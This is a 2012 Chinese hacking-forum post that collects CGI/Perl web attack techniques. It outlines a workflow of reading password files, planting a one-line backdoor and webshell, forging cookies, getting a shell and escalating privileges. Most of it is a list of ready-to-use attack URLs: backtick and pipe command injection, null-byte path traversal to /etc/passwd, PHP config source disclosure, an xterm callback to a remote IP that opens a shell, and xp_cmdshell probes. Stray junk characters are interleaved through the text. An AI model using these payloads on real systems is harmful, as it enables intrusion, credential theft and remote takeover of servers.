找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2800|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
7 m2 C5 s/ C/ q  j  l& l) z6 fcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  8 a/ |& C( X1 S% ^8 o) B$ J  m# `: D% U
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ' N6 T, o$ `+ g. B& t1 K
注“  / W9 Q& J  t4 X0 V! }
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  . H1 H1 [- t6 K2 J
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
/ G1 S; C* n( K8 h( N/ E
& J! ]6 e/ d3 z& Z) _http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  1 c  |& o) U9 l: c1 {. ^
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  : A( L  D1 P2 @0 I! n6 J
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  ( B+ K; B4 N5 b* Z( g# x$ y, z
http://target.com/cgi-bin/home/news/sub.pl?`id`  $ `& B+ w. J. T1 U/ @- B
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
6 _6 k2 ]% r7 l( m$ f8 R+ @http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  5 R- a: B5 P0 u# ^) U

0 p; B3 ^& d; k4 n1 Uhttp://target.com/test.pl;ls|  3 k. v6 c- r* Q3 O+ D+ C# L
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
# E) L' f) i% y+ yhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  : S: L$ z1 G6 ?+ f) u
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
7 v! X6 j# U7 R" j; B- }0 G比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
" Z7 W9 K) c+ U& l- T+ shttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ; h% I. f9 @+ L- \
! ?- X8 z8 l0 ?# P" K9 x
http://target.com/test.pl?&........ /../../etc/passwd  
5 H- l' D; T2 w* z" y
( ^, E. m: V4 `& v, fhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
6 Q. @& \& N* yhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ! g# E3 y9 q; v. N; r
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
( M/ L5 k& ]+ p  M( W6 O4 ?# \$ b( `3 g* f
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
' Q7 V, I* O! j* T3 Fhttp://www.target.org/show.php?f ... ng/admin/global.php  1 p# h) x0 J( _* z
4 \% |4 G$ x& k9 f
emm和ps的一句话+ V* F9 ~' z% Y5 z# v
8 C/ c2 j% o" W2 t0 L* a( ]
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  8 N& X% l8 ^! j/ E2 d

3 p. N9 e$ I' h( G>bbb%20|  
: C' |% s3 X( [) m! K, D) L3 n& D1 |
7 W) U, R% z" ^http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
' U1 y# K! l6 I6 _0 P9 L
. X( a& F/ ~1 K3 D# b$ V& ^http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
; ?! i* h' q- w! Z0 fhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
, r3 I8 B: {2 D3 p2 I& Q6 l! v# j7 }# X6 j/ D. m. m
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
/ Q# N) }3 A; M# X( V) _http://target.com/index.html#cmd.exe  
1 y6 V3 s5 g  H6 j$ O* O3 _9 Chttp://target.com/index.html?dummyparam=xp_cmdshell  
" _4 Y6 i* [. v  g' s) flynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  / S3 j$ G+ b1 z9 _) B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表